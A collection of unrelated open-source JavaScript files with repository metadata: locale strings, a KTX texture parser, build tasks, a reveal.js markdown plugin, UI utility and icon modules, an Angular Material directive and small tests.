"state": "Por defeito, as coordenadas serão exibidas no sistema de coordenadas do mapa atual. Para obter coordenadas noutros sistemas de coordenadas, necessita de adicioná-las e definir as transformações apropriadas.",
"outputUnit": "Unidade de Saída",
"wkid": "WKID de Saída",
"label": "Nome do sistema de coordenadas de saída",
"transformationWkid": "WKID de Transformação",
"transformationLabel": "Rótulo de transformação",
"transformForward": "Transformar para a frente",
"actions": "Ações",
"warning": "Por favor, insira um WKID de referência espacial válido!",
"tfWarning": "Por favor, insira um datum de transformação WKID válido!",
"spinnerLabel": "Arredondar coordenadas para: ",
"decimalPlace": "casas decimais",
"separator": "Exibir separadores de milhares",
"getVersionError": "Não é possível obter a versão do serviço de geometria",
"add": "Adicionar sistema de coordenadas saída",
"edit": "Editar sistema de coordenadas",
"output": "Sistema de coordenadas de saída",
"cName": "Nome do sistema de coordenadas",
"units": "Exibir unidades: ",
"datum": "Transformação datum",
"tName": "Bome da transformação",
"tWKIDPlaceHolder": "WKID da transformação",
"forward": "Utilizar transformação para a frente",
"ok": "OK",
"cancel": "Cancelar",
"olderVersion": "O serviço de geometria não suporta a operação de transformação.",
"REPEATING_ERROR": " O sistema de coordenadas existe na lista de saída.",
"Default": "Padrão",
"Inches": "Polegadas",
"Foot": "Pés",
"Yards": "Jardas",
"Miles": "Milhas",
"Nautical_Miles": "Milhas Náuticas",
"Millimeters": "Milímetros",
"Centimeters": "Centímetros",
"Meter": "Metros",
"Kilometers": "Quilômetros",
"Decimeters": "Decímetros",
"Decimal_Degrees": "Graus decimais",
"Degrees_Decimal_Minutes": "Graus decimais minutos",
"Degree_Minutes_Seconds": "Graus minutos segundos",
"MGRS": "MGRS",
"USNG": "USNG",
"displayOrderLonLatTips": "Ordem de exibição de coordenadas:",
"lonLatTips": "Longitude / Latitude(X, Y)",
"latLonTips": "Latitude / Longitude(Y, X)"
}); | cmndrbensisko/LocalLayer | samples/wazeViewer/widgets/Coordinate/setting/nls/pt-pt/strings.js | JavaScript | mit | 2,168 |
import { Debug } from '../../../core/debug.js';
import { Asset } from '../../../asset/asset.js';
import { Texture } from '../../../graphics/texture.js';
import {
ADDRESS_CLAMP_TO_EDGE, ADDRESS_REPEAT,
PIXELFORMAT_DXT1, PIXELFORMAT_DXT3, PIXELFORMAT_DXT5,
PIXELFORMAT_ETC1, PIXELFORMAT_ETC2_RGB, PIXELFORMAT_ETC2_RGBA,
PIXELFORMAT_PVRTC_4BPP_RGB_1, PIXELFORMAT_PVRTC_2BPP_RGB_1, PIXELFORMAT_PVRTC_4BPP_RGBA_1, PIXELFORMAT_PVRTC_2BPP_RGBA_1,
PIXELFORMAT_R8_G8_B8, PIXELFORMAT_R8_G8_B8_A8, PIXELFORMAT_SRGB, PIXELFORMAT_SRGBA,
PIXELFORMAT_111110F, PIXELFORMAT_RGB16F, PIXELFORMAT_RGBA16F,
TEXHINT_ASSET
} from '../../../graphics/constants.js';
/** @typedef {import('../../texture.js').TextureParser} TextureParser */
// Defined here: https://www.khronos.org/opengles/sdk/tools/KTX/file_format_spec/
const IDENTIFIER = [0x58544BAB, 0xBB313120, 0x0A1A0A0D]; // «KTX 11»\r\n\x1A\n
const KNOWN_FORMATS = {
// compressed formats
0x83F0: PIXELFORMAT_DXT1,
0x83F2: PIXELFORMAT_DXT3,
0x83F3: PIXELFORMAT_DXT5,
0x8D64: PIXELFORMAT_ETC1,
0x9274: PIXELFORMAT_ETC2_RGB,
0x9278: PIXELFORMAT_ETC2_RGBA,
0x8C00: PIXELFORMAT_PVRTC_4BPP_RGB_1,
0x8C01: PIXELFORMAT_PVRTC_2BPP_RGB_1,
0x8C02: PIXELFORMAT_PVRTC_4BPP_RGBA_1,
0x8C03: PIXELFORMAT_PVRTC_2BPP_RGBA_1,
// uncompressed formats
0x8051: PIXELFORMAT_R8_G8_B8, // GL_RGB8
0x8058: PIXELFORMAT_R8_G8_B8_A8, // GL_RGBA8
0x8C41: PIXELFORMAT_SRGB, // GL_SRGB8
0x8C43: PIXELFORMAT_SRGBA, // GL_SRGB8_ALPHA8
0x8C3A: PIXELFORMAT_111110F, // GL_R11F_G11F_B10F
0x881B: PIXELFORMAT_RGB16F, // GL_RGB16F
0x881A: PIXELFORMAT_RGBA16F // GL_RGBA16F
};
function createContainer(pixelFormat, buffer, byteOffset, byteSize) {
return (pixelFormat === PIXELFORMAT_111110F) ?
new Uint32Array(buffer, byteOffset, byteSize / 4) :
new Uint8Array(buffer, byteOffset, byteSize);
}
/**
* Texture parser for ktx files.
*
* @implements {TextureParser}
* @ignore
*/
class KtxParser {
constructor(registry) {
this.maxRetries = 0;
}
load(url, callback, asset) {
Asset.fetchArrayBuffer(url.load, callback, asset, this.maxRetries);
}
open(url, data, device) {
const textureData = this.parse(data);
if (!textureData) {
return null;
}
const texture = new Texture(device, {
name: url,
// #if _PROFILER
profilerHint: TEXHINT_ASSET,
// #endif
addressU: textureData.cubemap ? ADDRESS_CLAMP_TO_EDGE : ADDRESS_REPEAT,
addressV: textureData.cubemap ? ADDRESS_CLAMP_TO_EDGE : ADDRESS_REPEAT,
width: textureData.width,
height: textureData.height,
format: textureData.format,
cubemap: textureData.cubemap,
levels: textureData.levels
});
texture.upload();
return texture;
}
parse(data) {
const dataU32 = new Uint32Array(data);
// check magic bits
if (IDENTIFIER[0] !== dataU32[0] ||
IDENTIFIER[1] !== dataU32[1] ||
IDENTIFIER[2] !== dataU32[2]) {
Debug.warn("Invalid definition header found in KTX file. Expected 0xAB4B5458, 0x203131BB, 0x0D0A1A0A");
return null;
}
// unpack header info
const header = {
endianness: dataU32[3], // todo: Use this information
glType: dataU32[4],
glTypeSize: dataU32[5],
glFormat: dataU32[6],
glInternalFormat: dataU32[7],
glBaseInternalFormat: dataU32[8],
pixelWidth: dataU32[9],
pixelHeight: dataU32[10],
pixelDepth: dataU32[11],
numberOfArrayElements: dataU32[12],
numberOfFaces: dataU32[13],
numberOfMipmapLevels: dataU32[14],
bytesOfKeyValueData: dataU32[15]
};
// don't support volume textures
if (header.pixelDepth > 1) {
Debug.warn("More than 1 pixel depth not supported!");
return null;
}
// don't support texture arrays
if (header.numberOfArrayElements !== 0) {
Debug.warn("Array texture not supported!");
return null;
}
const format = KNOWN_FORMATS[header.glInternalFormat];
// only support subset of pixel formats
if (format === undefined) {
Debug.warn("Unknown glInternalFormat: " + header.glInternalFormat);
return null;
}
// offset locating the first byte of texture level data
let offset = 16 + header.bytesOfKeyValueData / 4;
const isCubemap = (header.numberOfFaces > 1);
const levels = [];
for (let mipmapLevel = 0; mipmapLevel < (header.numberOfMipmapLevels || 1); mipmapLevel++) {
const imageSizeInBytes = dataU32[offset++];
if (isCubemap) {
levels.push([]);
}
const target = isCubemap ? levels[mipmapLevel] : levels;
for (let face = 0; face < (isCubemap ? 6 : 1); ++face) {
target.push(createContainer(format, data, offset * 4, imageSizeInBytes));
offset += (imageSizeInBytes + 3) >> 2;
}
}
return {
format: format,
width: header.pixelWidth,
height: header.pixelHeight,
levels: levels,
cubemap: isCubemap
};
}
}
export { KtxParser };
| MicroWorldwide/PlayCanvas | src/resources/parser/texture/ktx.js | JavaScript | mit | 5,584 |
var browserify = require('browserify');
var gulp = require('gulp');
var handleErrors = require('../util/handleErrors');
var source = require('vinyl-source-stream');
gulp.task('browserify', function(){
return browserify({
entries: ['./src/javascripts/app.js'],
})
.bundle({debug: true})
.on('error', handleErrors)
.pipe(source('app.js'))
.pipe(gulp.dest('./public/javascripts/'));
});
| dobrite/fluxchat | gulp/tasks/browserify.js | JavaScript | mit | 401 |
/**
* The reveal.js markdown plugin. Handles parsing of
* markdown inside of presentations as well as loading
* of external markdown documents.
*/
(function( root, factory ) {
/*
if( typeof exports === 'object' ) {
module.exports = factory( require( 'marked' ) );
}
else {
// Browser globals (root is window)
root.RevealMarkdown = factory( root.marked );
root.RevealMarkdown.initialize();
}
*/
root.RevealMarkdown = factory( root.marked );
root.RevealMarkdown.initialize();
}( this, function( marked ) {
if( typeof marked === 'undefined' ) {
throw 'The reveal.js Markdown plugin requires marked to be loaded';
}
if( typeof hljs !== 'undefined' ) {
marked.setOptions({
highlight: function( lang, code ) {
return hljs.highlightAuto( lang, code ).value;
}
});
}
var DEFAULT_SLIDE_SEPARATOR = '^\n---\n$',
DEFAULT_NOTES_SEPARATOR = 'note:',
DEFAULT_ELEMENT_ATTRIBUTES_SEPARATOR = '\\\.element\\\s*?(.+?)$',
DEFAULT_SLIDE_ATTRIBUTES_SEPARATOR = '\\\.slide:\\\s*?(\\\S.+?)$';
/**
* Retrieves the markdown contents of a slide section
* element. Normalizes leading tabs/whitespace.
*/
function getMarkdownFromSlide( section ) {
var template = section.querySelector( 'script' );
// strip leading whitespace so it isn't evaluated as code
var text = ( template || section ).textContent;
var leadingWs = text.match( /^\n?(\s*)/ )[1].length,
leadingTabs = text.match( /^\n?(\t*)/ )[1].length;
if( leadingTabs > 0 ) {
text = text.replace( new RegExp('\\n?\\t{' + leadingTabs + '}','g'), '\n' );
}
else if( leadingWs > 1 ) {
text = text.replace( new RegExp('\\n? {' + leadingWs + '}','g'), '\n' );
}
return text;
}
/**
* Given a markdown slide section element, this will
* return all arguments that aren't related to markdown
* parsing. Used to forward any other user-defined arguments
* to the output markdown slide.
*/
function getForwardedAttributes( section ) {
var attributes = section.attributes;
var result = [];
for( var i = 0, len = attributes.length; i < len; i++ ) {
var name = attributes[i].name,
value = attributes[i].value;
// disregard attributes that are used for markdown loading/parsing
if( /data\-(markdown|separator|vertical|notes)/gi.test( name ) ) continue;
if( value ) {
result.push( name + '=' + value );
}
else {
result.push( name );
}
}
return result.join( ' ' );
}
/**
* Inspects the given options and fills out default
* values for what's not defined.
*/
function getSlidifyOptions( options ) {
options = options || {};
options.separator = options.separator || DEFAULT_SLIDE_SEPARATOR;
options.notesSeparator = options.notesSeparator || DEFAULT_NOTES_SEPARATOR;
options.attributes = options.attributes || '';
return options;
}
/**
* Helper function for constructing a markdown slide.
*/
function createMarkdownSlide( content, options ) {
options = getSlidifyOptions( options );
var notesMatch = content.split( new RegExp( options.notesSeparator, 'mgi' ) );
if( notesMatch.length === 2 ) {
content = notesMatch[0] + '<aside class="notes" data-markdown>' + notesMatch[1].trim() + '</aside>';
}
return '<script type="text/template">' + content + '</script>';
}
/**
* Parses a data string into multiple slides based
* on the passed in separator arguments.
*/
function slidify( markdown, options ) {
options = getSlidifyOptions( options );
var separatorRegex = new RegExp( options.separator + ( options.verticalSeparator ? '|' + options.verticalSeparator : '' ), 'mg' ),
horizontalSeparatorRegex = new RegExp( options.separator );
var matches,
lastIndex = 0,
isHorizontal,
wasHorizontal = true,
content,
sectionStack = [];
// iterate until all blocks between separators are stacked up
while( matches = separatorRegex.exec( markdown ) ) {
notes = null;
// determine direction (horizontal by default)
isHorizontal = horizontalSeparatorRegex.test( matches[0] );
if( !isHorizontal && wasHorizontal ) {
// create vertical stack
sectionStack.push( [] );
}
// pluck slide content from markdown input
content = markdown.substring( lastIndex, matches.index );
if( isHorizontal && wasHorizontal ) {
// add to horizontal stack
sectionStack.push( content );
}
else {
// add to vertical stack
sectionStack[sectionStack.length-1].push( content );
}
lastIndex = separatorRegex.lastIndex;
wasHorizontal = isHorizontal;
}
// add the remaining slide
( wasHorizontal ? sectionStack : sectionStack[sectionStack.length-1] ).push( markdown.substring( lastIndex ) );
var markdownSections = '';
// flatten the hierarchical stack, and insert <section data-markdown> tags
for( var i = 0, len = sectionStack.length; i < len; i++ ) {
// vertical
if( sectionStack[i] instanceof Array ) {
markdownSections += '<section '+ options.attributes +'>';
sectionStack[i].forEach( function( child ) {
markdownSections += '<section data-markdown>' + createMarkdownSlide( child, options ) + '</section>';
} );
markdownSections += '</section>';
}
else {
markdownSections += '<section '+ options.attributes +' data-markdown>' + createMarkdownSlide( sectionStack[i], options ) + '</section>';
}
}
return markdownSections;
}
/**
* Parses any current data-markdown slides, splits
* multi-slide markdown into separate sections and
* handles loading of external markdown.
*/
function processSlides() {
var sections = document.querySelectorAll( '[data-markdown]'),
section;
for( var i = 0, len = sections.length; i < len; i++ ) {
section = sections[i];
if( section.getAttribute( 'data-markdown' ).length ) {
var xhr = new XMLHttpRequest(),
url = section.getAttribute( 'data-markdown' );
datacharset = section.getAttribute( 'data-charset' );
// see https://developer.mozilla.org/en-US/docs/Web/API/element.getAttribute#Notes
if( datacharset != null && datacharset != '' ) {
xhr.overrideMimeType( 'text/html; charset=' + datacharset );
}
xhr.onreadystatechange = function() {
if( xhr.readyState === 4 ) {
if ( xhr.status >= 200 && xhr.status < 300 ) {
section.outerHTML = slidify( xhr.responseText, {
separator: section.getAttribute( 'data-separator' ),
verticalSeparator: section.getAttribute( 'data-vertical' ),
notesSeparator: section.getAttribute( 'data-notes' ),
attributes: getForwardedAttributes( section )
});
}
else {
section.outerHTML = '<section data-state="alert">' +
'ERROR: The attempt to fetch ' + url + ' failed with HTTP status ' + xhr.status + '.' +
'Check your browser\'s JavaScript console for more details.' +
'<p>Remember that you need to serve the presentation HTML from a HTTP server.</p>' +
'</section>';
}
}
};
xhr.open( 'GET', url, false );
try {
xhr.send();
}
catch ( e ) {
alert( 'Failed to get the Markdown file ' + url + '. Make sure that the presentation and the file are served by a HTTP server and the file can be found there. ' + e );
}
}
else if( section.getAttribute( 'data-separator' ) || section.getAttribute( 'data-vertical' ) || section.getAttribute( 'data-notes' ) ) {
section.outerHTML = slidify( getMarkdownFromSlide( section ), {
separator: section.getAttribute( 'data-separator' ),
verticalSeparator: section.getAttribute( 'data-vertical' ),
notesSeparator: section.getAttribute( 'data-notes' ),
attributes: getForwardedAttributes( section )
});
}
else {
section.innerHTML = createMarkdownSlide( getMarkdownFromSlide( section ) );
}
}
}
/**
* Check if a node value has the attributes pattern.
* If yes, extract it and add that value as one or several attributes
* the the terget element.
*
* You need Cache Killer on Chrome to see the effect on any FOM transformation
* directly on refresh (F5)
* http://stackoverflow.com/questions/5690269/disabling-chrome-cache-for-website-development/7000899#answer-11786277
*/
function addAttributeInElement( node, elementTarget, separator ) {
var mardownClassesInElementsRegex = new RegExp( separator, 'mg' );
var mardownClassRegex = new RegExp( "([^\"= ]+?)=\"([^\"=]+?)\"", 'mg' );
var nodeValue = node.nodeValue;
if( matches = mardownClassesInElementsRegex.exec( nodeValue ) ) {
var classes = matches[1];
nodeValue = nodeValue.substring( 0, matches.index ) + nodeValue.substring( mardownClassesInElementsRegex.lastIndex );
node.nodeValue = nodeValue;
while( matchesClass = mardownClassRegex.exec( classes ) ) {
elementTarget.setAttribute( matchesClass[1], matchesClass[2] );
}
return true;
}
return false;
}
/**
* Add attributes to the parent element of a text node,
* or the element of an attribute node.
*/
function addAttributes( section, element, previousElement, separatorElementAttributes, separatorSectionAttributes ) {
if ( element != null && element.childNodes != undefined && element.childNodes.length > 0 ) {
previousParentElement = element;
for( var i = 0; i < element.childNodes.length; i++ ) {
childElement = element.childNodes[i];
if ( i > 0 ) {
j = i - 1;
while ( j >= 0 ) {
aPreviousChildElement = element.childNodes[j];
if ( typeof aPreviousChildElement.setAttribute == 'function' && aPreviousChildElement.tagName != "BR" ) {
previousParentElement = aPreviousChildElement;
break;
}
j = j - 1;
}
}
parentSection = section;
if( childElement.nodeName == "section" ) {
parentSection = childElement ;
previousParentElement = childElement ;
}
if ( typeof childElement.setAttribute == 'function' || childElement.nodeType == Node.COMMENT_NODE ) {
addAttributes( parentSection, childElement, previousParentElement, separatorElementAttributes, separatorSectionAttributes );
}
}
}
if ( element.nodeType == Node.COMMENT_NODE ) {
if ( addAttributeInElement( element, previousElement, separatorElementAttributes ) == false ) {
addAttributeInElement( element, section, separatorSectionAttributes );
}
}
}
/**
* Converts any current data-markdown slides in the
* DOM to HTML.
*/
function convertSlides() {
var sections = document.querySelectorAll( '[data-markdown]');
for( var i = 0, len = sections.length; i < len; i++ ) {
var section = sections[i];
// Only parse the same slide once
if( !section.getAttribute( 'data-markdown-parsed' ) ) {
section.setAttribute( 'data-markdown-parsed', true )
var notes = section.querySelector( 'aside.notes' );
var markdown = getMarkdownFromSlide( section );
section.innerHTML = marked( markdown );
addAttributes( section, section, null, section.getAttribute( 'data-element-attributes' ) ||
section.parentNode.getAttribute( 'data-element-attributes' ) ||
DEFAULT_ELEMENT_ATTRIBUTES_SEPARATOR,
section.getAttribute( 'data-attributes' ) ||
section.parentNode.getAttribute( 'data-attributes' ) ||
DEFAULT_SLIDE_ATTRIBUTES_SEPARATOR);
// If there were notes, we need to re-add them after
// having overwritten the section's HTML
if( notes ) {
section.appendChild( notes );
}
}
}
}
// API
return {
initialize: function() {
processSlides();
convertSlides();
},
// TODO: Do these belong in the API?
processSlides: processSlides,
convertSlides: convertSlides,
slidify: slidify
};
}));
| dmorosinotto/XEJS2 | plugin/markdown/markdown.js | JavaScript | mit | 11,664 |
/**
* Copyright (c) 2014, 2017, Oracle and/or its affiliates.
* The Universal Permissive License (UPL), Version 1.0
*/
"use strict";
define(['ojs/ojcore', 'jquery', 'hammerjs', 'promise', 'ojs/ojoffcanvas'],
/*
* @param {Object} oj
* @param {jQuery} $
* @param {Object} Hammer
*/
function(oj, $, Hammer)
{
/**
* Copyright (c) 2015, Oracle and/or its affiliates.
* All rights reserved.
*/
/**
* @class Utility methods for swipe to reveal.
* @since 1.2.0
* @export
*
* @classdesc
* This class provides functions for setting up and handling swipe to reveal on an offcanvas element. The offcanvas
* element contains contextual actions that users can perform on the element that user perform the swipe gesture on.
* This is most commonly found in ListView where user swipes on an item to reveal contextual actions that can be done on the item.
*
* <h3 id="styling-section">
* Styling
* <a class="bookmarkable-link" title="Bookmarkable Link" href="#styling-section"></a>
* </h3>
*
* {@ojinclude "name":"stylingDoc"}
*
* <h3 id="touch-section">
* Touch End User Information
* <a class="bookmarkable-link" title="Bookmarkable Link" href="#touch-section"></a>
* </h3>
*
* {@ojinclude "name":"touchDoc"}
*
* <h3 id="accessibility-section">
* Accessibility
* <a class="bookmarkable-link" title="Bookmarkable Link" href="#accessibility-section"></a>
* </h3>
*
* <p>Application must ensure that the context menu is available and setup with the
* equivalent menu items so that keyboard-only users can perform all the swipe actions
* just by using the keyboard.
*/
oj.SwipeToRevealUtils = {};
/**
* Setup listeners needed for swipe actions capability.
*
* @export
* @param {Element} elem the DOM element (of the offcanvas) that hosts the swipe actions
* @param {Object=} options the options to set for swipe actions
* @param {number} options.threshold the threshold that triggers default action. If no default action is found (no item with style
* "oj-swipetoreveal-default") then this value is ignored. If percentage value is specified it will be calculated
* based on the width of the element with class "oj-offcanvas-outer-wrapper". A default value is determined if not specified.
* An "ojdefaultaction" event will be fired when threshold is exceed upon release.
*
* @see #tearDownSwipeActions
* @see oj.OffcanvasUtils.html#setupPanToReveal
*/
oj.SwipeToRevealUtils.setupSwipeActions = function(elem, options)
{
var drawer, direction, offcanvas, outerWrapper, threshold, minimum, drawerShown, evt, checkpoint, defaultAction, distance;
drawer = $(elem);
// checks if it's already registered
if (drawer.hasClass("oj-swipetoreveal"))
{
return;
}
drawer.addClass("oj-swipetoreveal");
direction = drawer.hasClass("oj-offcanvas-start") ? "end" : "start";
offcanvas = {};
offcanvas["selector"] = drawer;
oj.OffcanvasUtils.setupPanToReveal(offcanvas);
outerWrapper = oj.OffcanvasUtils._getOuterWrapper(drawer);
if (options != null)
{
threshold = options['threshold'];
}
if (threshold != null)
{
threshold = parseInt(threshold, 10);
// check if it's percentage value
if (/%$/.test(options['threshold']))
{
threshold = (threshold / 100) * outerWrapper.outerWidth();
}
}
else
{
// by default it will be 55% of the outer wrapper
threshold = outerWrapper.outerWidth() * 0.55;
}
// by default the minimum will be the lesser of the width of the offcanvas and half of the outer wrapper
minimum = Math.min(outerWrapper.outerWidth() * 0.3, drawer.outerWidth());
// the panning triggers a click event at the end (since we are doing translation on move, the relative position has not changed)
// this is to prevent the click event from bubbling (to list item for example, see )
drawerShown = false;
outerWrapper.on("click.swipetoreveal", function(event)
{
if (drawerShown)
{
event.stopImmediatePropagation();
drawerShown = false;
}
});
// However, this does not get trigger in hybrid app, see .
// this change ensures that it always get reset
outerWrapper.on("touchstart.swipetoreveal", function(event)
{
drawerShown = false;
});
drawer
.on("ojpanstart", function(event, ui)
{
// if the swipe direction does not match the offcanvas's edge, veto it
if (ui['direction'] != direction)
{
event.preventDefault();
}
else
{
// setup default style class
drawer.children().addClass("oj-swipetoreveal-action");
// find if there's any default action item specified
defaultAction = drawer.children(".oj-swipetoreveal-default").get(0);
// used to determine if it's a quick swipe
checkpoint = (new Date()).getTime();
}
})
.on("ojpanmove", function(event, ui)
{
drawerShown = true;
// check if pan pass the threshold position, the default action item gets entire space.
if (defaultAction != null)
{
if (ui['distance'] > threshold)
{
drawer.children().each(function() {
if (this != defaultAction)
{
$(this).addClass("oj-swipetoreveal-hide-when-full");
}
});
}
else
{
drawer.children().removeClass("oj-swipetoreveal-hide-when-full");
}
}
})
.on("ojpanend", function(event, ui)
{
distance = ui['distance'];
if (defaultAction != null && distance > threshold)
{
// default action
evt = $.Event("ojdefaultaction");
drawer.trigger(evt, offcanvas);
event.preventDefault();
}
// if pan pass the minimum threshold position, keep the toolbar open
if (distance < minimum)
{
// check if this is a swipe, the time should be < 200ms and the distance must be > 10px
if ((new Date()).getTime() - checkpoint > 200 || distance < 10)
{
event.preventDefault();
}
}
});
};
/**
* Removes the listener that was added in setupSwipeActions. Page authors should call tearDownSwipeActions when the content container is no longer needed.
*
* @export
* @param {Element} elem the DOM element (of the offcanvas) that hosts the swipe actions
*
* @see #setupSwipeActions
* @see oj.OffcanvasUtils.html#tearDownPanToReveal
*/
oj.SwipeToRevealUtils.tearDownSwipeActions = function(elem)
{
var drawer, offcanvas, outerWrapper;
drawer = $(elem);
offcanvas = {};
offcanvas["selector"] = drawer;
outerWrapper = oj.OffcanvasUtils._getOuterWrapper(drawer);
if (outerWrapper != null)
{
outerWrapper.off(".swipetoreveal");
}
oj.OffcanvasUtils.tearDownPanToReveal(offcanvas);
};
/**
* The following CSS classes can be applied by the page author as needed.
* <p>
* <table class="generic-table styling-table">
* <thead>
* <tr>
* <th>Class</th>
* <th>Description</th>
* </tr>
* </thead>
* <tbody>
* <tr>
* <td>oj-swipetoreveal-more</td>
* <td>Designed for use with an action item that shows more available actions that users can perform.
* <p>Is applied to the element that represents the more action item inside the offcanvas element.</td>
* </tr>
* <tr>
* <td>oj-swipetoreveal-flag</td>
* <td>Designed for use with an action item that tags the associated item in the host like listview item.
* <p>Is applied to the element that represents the flag action item inside the offcanvas element.</td>
* </tr>
* <tr>
* <td>oj-swipetoreveal-alert</td>
* <td>Designed for use with an action item that performs an explicit action like deleting the associated listview item.
* <p>Is applied to the element that represents the alert action item inside the offcanvas element.</td>
* </tr>
* <tr>
* <td>oj-swipetoreveal-default</td>
* <td>Designed for use with an action item that should get all the space when user swipes pass the threshold distance.
* <p>Is applied to the element that represents the default action item inside the offcanvas element.</td>
* </tr>
* </tbody>
* </table>
*
* @ojfragment stylingDoc - Used in Styling section of classdesc, and standalone Styling doc
* @memberof oj.SwipeToRevealUtils
*/
/**
* <table class="keyboard-table">
* <thead>
* <tr>
* <th>Target</th>
* <th>Gesture</th>
* <th>Action</th>
* </tr>
* </thead>
* <tbody>
* <tr>
* <td>Offcanvas wrapper element</td>
* <td><kbd>Swipe</kbd></td>
* <td>Reveals the offcanvas element. Depending on the distance relative to the target is swiped, the offcanvas will either be closed (swipe distance too short), opened, or the default action is performed (swipe distance passed the specified threshold).</td>
* </tr>
* <tr>
* <td>Offcanvas wrapper element</td>
* <td><kbd>Pan</kbd></td>
* <td>Reveals the offcanvas element. If a default action is specified, the default action will get the entire space of the offcanvas after the user panned past a specified distance threshold.</td>
* </tr>
* </tbody>
* </table>
*
* @ojfragment touchDoc - Used in touch gesture section of classdesc, and standalone gesture doc
* @memberof oj.SwipeToRevealUtils
*/
});
| crmouli/crmouli.github.io | js/libs/oj/v3.0.0/debug/ojswipetoreveal.js | JavaScript | mit | 9,871 |
module.exports = function (grunt) {
'use strict';
var config = {
pkg: grunt.file.readJSON('package.json')
};
function loadConfig(path) {
var glob = require('glob'),
object = {},
key;
glob.sync('*', { cwd: path }).forEach(function (option) {
key = option.replace(/\.js$/, '');
object[key] = require(path + option);
});
return object;
}
grunt.util._.extend(config, loadConfig('./grunt-tasks/'));
grunt.initConfig(config);
require('load-grunt-tasks')(grunt);
grunt.registerTask('scss', ['sass:dist']);
grunt.registerTask('lint', ['jshint']);
grunt.registerTask('test', ['clean:coverage', 'karma']);
};
| danwellman/notes | gruntfile.js | JavaScript | mit | 739 |
import createSvgIcon from './utils/createSvgIcon';
import { jsx as _jsx } from "react/jsx-runtime";
export default createSvgIcon( /*#__PURE__*/_jsx("path", {
d: "M2 7h4v10H2V7zm5 12h10V5H7v14zM9 7h6v10H9V7zm9 0h4v10h-4V7z"
}), 'ViewCarouselOutlined'); | oliviertassinari/material-ui | packages/mui-icons-material/lib/esm/ViewCarouselOutlined.js | JavaScript | mit | 253 |
/*!
* AngularJS Material Design
* https://github.com/angular/material
* @license MIT
* v1.1.6
*/
(function( window, angular, undefined ){
"use strict";
/**
* @ngdoc module
* @name material.components.whiteframe
*/
MdWhiteframeDirective['$inject'] = ["$log"];
angular
.module('material.components.whiteframe', ['material.core'])
.directive('mdWhiteframe', MdWhiteframeDirective);
/**
* @ngdoc directive
* @module material.components.whiteframe
* @name mdWhiteframe
*
* @description
* The md-whiteframe directive allows you to apply an elevation shadow to an element.
*
* The attribute values needs to be a number between 1 and 24 or -1.
* When set to -1 no style is applied.
*
* ### Notes
* - If there is no value specified it defaults to 4dp.
* - If the value is not valid it defaults to 4dp.
* @usage
* <hljs lang="html">
* <div md-whiteframe="3">
* <span>Elevation of 3dp</span>
* </div>
* </hljs>
*
* <hljs lang="html">
* <div md-whiteframe="-1">
* <span>No elevation shadow applied</span>
* </div>
* </hljs>
*
* <hljs lang="html">
* <div ng-init="elevation = 5" md-whiteframe="{{elevation}}">
* <span>Elevation of 5dp with an interpolated value</span>
* </div>
* </hljs>
*/
function MdWhiteframeDirective($log) {
var DISABLE_DP = -1;
var MIN_DP = 1;
var MAX_DP = 24;
var DEFAULT_DP = 4;
return {
link: postLink
};
function postLink(scope, element, attr) {
var oldClass = '';
attr.$observe('mdWhiteframe', function(elevation) {
elevation = parseInt(elevation, 10) || DEFAULT_DP;
if (elevation != DISABLE_DP && (elevation > MAX_DP || elevation < MIN_DP)) {
$log.warn('md-whiteframe attribute value is invalid. It should be a number between ' + MIN_DP + ' and ' + MAX_DP, element[0]);
elevation = DEFAULT_DP;
}
var newClass = elevation == DISABLE_DP ? '' : 'md-whiteframe-' + elevation + 'dp';
attr.$updateClass(newClass, oldClass);
oldClass = newClass;
});
}
}
})(window, window.angular); | besongsamuel/eapp | node_modules/angular-material/modules/js/whiteframe/whiteframe.js | JavaScript | mit | 2,034 |
'use strict'
class BaseIntent {
static controllerName() {
throw 'Not implemented.'
}
constructor(config) {
this.config = config
}
handle(request) {
throw 'Not implemented.'
}
baseUrl() {
return this.config.ROSIE_CONTROLLER_URL + '/' + this.constructor.controllerName()
}
}
module.exports = BaseIntent
| rosie-home-automation/rosie_alexa | lib/intents/base_intent.js | JavaScript | mit | 335 |
/*
*
*/
var qure = require('../src/qure.js');
describe('Testing threaded database with external module', function() {
/*
*
*/
it('with query', function(done) {
qure
.declare({
settings: function(conn) {
this.conn = conn;
},
open: function() {
this.mysql = require('mysql');
this.conn = this.mysql.createConnection({
host : this.conn.host,
user : this.conn.user,
password : this.conn.password,
database : this.conn.database
});
},
query: function(query) {
var that = this;
// pause the queue
this.pause(true);
// open database connection
this.open();
// execute query
this.conn.query(query, function(err, rows, fields) {
if (err) throw err;
// close database connection
that.conn.end();
// resume queue
that.resume(rows[0]);
});
}
})
.run('settings', {
host: 'localhost',
user: 'me',
password: 'secret',
database: 'my_db'
})
.run('query', 'SELECT 1 + 1 AS solution;')
.then(function(rows) {
console.log('The solution is: ', rows.solution);
done();
});
});
});
| hbi99/QureJS | tests/test-07.js | JavaScript | mit | 1,188 |
import createSvgIcon from './utils/createSvgIcon';
import { jsx as _jsx } from "react/jsx-runtime";
export default createSvgIcon([/*#__PURE__*/_jsx("path", {
d: "M20 6h-4.05l-.59-.65L14.12 4H9.88L8.65 5.35l-.6.65H4v12h16V6zm-8 11c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5z",
opacity: ".3"
}, "0"), /*#__PURE__*/_jsx("path", {
d: "M4 20h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-3.17L15 2H9L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2zM4 6h4.05l.59-.65L9.88 4h4.24l1.24 1.35.59.65H20v12H4V6zm8 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5zm0 8.2c-1.77 0-3.2-1.43-3.2-3.2 0-1.77 1.43-3.2 3.2-3.2s3.2 1.43 3.2 3.2c0 1.77-1.43 3.2-3.2 3.2z"
}, "1")], 'LocalSeeTwoTone'); | oliviertassinari/material-ui | packages/mui-icons-material/lib/esm/LocalSeeTwoTone.js | JavaScript | mit | 683 |
function dec(fn, context) {
context.addInitializer((instance) => {
instance[context.name + 'Context'] = context;
});
return function () {
return fn.call(this) + 1;
}
}
class Foo {
value = 1;
@dec
a() {
return this.value;
}
@dec
['b']() {
return this.value;
}
}
let foo = new Foo();
const aContext = foo['aContext'];
const bContext = foo['bContext'];
expect(foo.a()).toBe(2);
expect(foo.b()).toBe(2);
foo.value = 123;
expect(foo.a()).toBe(124);
expect(foo.b()).toBe(124);
expect(aContext.name).toBe('a');
expect(aContext.kind).toBe('method');
expect(aContext.isStatic).toBe(false);
